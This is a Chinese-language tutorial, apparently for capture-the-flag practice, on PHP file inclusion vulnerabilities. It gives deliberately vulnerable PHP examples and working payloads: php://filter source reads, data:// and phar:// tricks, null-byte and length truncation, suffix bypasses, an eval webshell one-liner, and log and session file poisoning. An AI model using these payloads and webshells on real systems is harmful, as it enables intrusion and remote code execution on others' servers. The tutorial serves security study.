文件包含漏洞详解

<?php

ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
    show_source(__FILE__);
    echo 'flag 在flag.php中';
}else{
    echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);

?> flag 在flag.php中

使用php://filter

//get传参，得到flag.php的base64编码内容，解码即可得到flag
?file=php://filter/read=convert.base64-encode/resource=flag.php

简单案例二

<?php

ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    echo "success\n";
    echo $flag;
}
?>

使用data://

//get传参
?a=data://text/plain,I want flag

使用php://input

注意：使用php://input的post传参时，post直接输入传参值不需要变量名，而插件HackBar无变量名不能执行，因此需要用bp传参；

简单案例三

使用phar://

<?php @eval($_POST['cmd']);?>写入shell.php，在把shell.php压缩为1.zip并上传，访问?file=phar://1.zip/shell.php，使用蚁剑连接或POST传参即可获取flag；

2. 00截断

需满足<php 5.3.4；

如Include("includes/".$_GET['library']."php")，传参?library=../../../boot.ini%00可截断.php包含boot.ini；

有的也可以使用?号、#号截断；

3. 长度截断

需满足<php 5.2.8；

..//..//..//..//..//..//..//..//..//shell.php长度大于256时windows会丢弃后面的，可以截断拼接的后缀(windows:256,Linux:4096)

4. 点/斜杠绕过

如substr($file,-4,4)!=”.php”，检查后缀时可以加.或/，如1.php.或1.php/可绕过检测；

5. 过滤器绕过

php://filter/read=convert.base64-encode/resource=/flag中的convert.base64-encode替换为convert.iconv.UTF-7.UCS-4*等其他过滤器;

可以使用read=string.rot13,需将结果进行rot13解码；

也可以read=convert.iconv.UCS-2LE.UCS-2BE得到将字符串每相邻两个字符互换位置后的字符串；

6. 写webshell

执行php代码<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"]);?>');?>可写入webshell，连接shell.php即可;

7. 包含日志文件

概念

日志文件是用于记录系统操作事件的记录文件或文件集合，可分为事件日志和消息日志；具有处理历史数据、诊断问题的追踪以及理解系统的活动等重要作用；

利用条件

知道日志文件的路径(phpinfo()查看或默认路径)，并且日志文件可读；

利用

访问url/<?php @eval($_POST[‘shell’]);?>可以将shell写入日志文件，然后访问日志文件连接webshell即可(Apache+Linux默认日志文件路径etc/httpd/logs/access_log或var/log/httpd/access_log)；

8. 包含session文件

概念

session文件是保存在服务器的文件，默认保存方式是files(session.save_handler=files)，即文件读写的方式保存session，session文件保存路径由session.save_path指定，文件命名默认为sess_+sessionid，文件内的数据是序列化后的数据；

利用条件

知道session文件的路径(phpinfo()查看或默认路径)，session部分内容可控；

利用

将一句话木马插入到session可控部分，包含服务器的session文件；